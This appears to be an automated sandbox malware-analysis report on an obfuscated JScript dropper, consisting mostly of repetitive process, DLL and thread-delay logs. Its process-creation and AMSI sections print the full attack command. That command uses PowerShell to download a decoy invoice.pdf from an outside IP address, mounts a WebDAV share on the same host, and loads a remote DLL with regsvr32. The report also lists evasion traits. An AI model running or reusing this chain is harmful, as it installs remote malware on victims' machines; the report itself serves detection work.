Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\937.js.csv");ITextStream.WriteLine(" entry:7860 f:eaffmd");ITextStream.WriteLine(" exec:2 f:eaffmd");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4195			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5448			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5508	Thread sleep count: 4195 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5508	Thread sleep count: 5448 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4480	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6692	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1496	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1856	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2724	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5404	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.3329121328.000001276A42B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000007.00000003.2086813920.0000017F6350B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101497883.0000017F634A8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3330361652.000001276FA56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\143071068231728.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

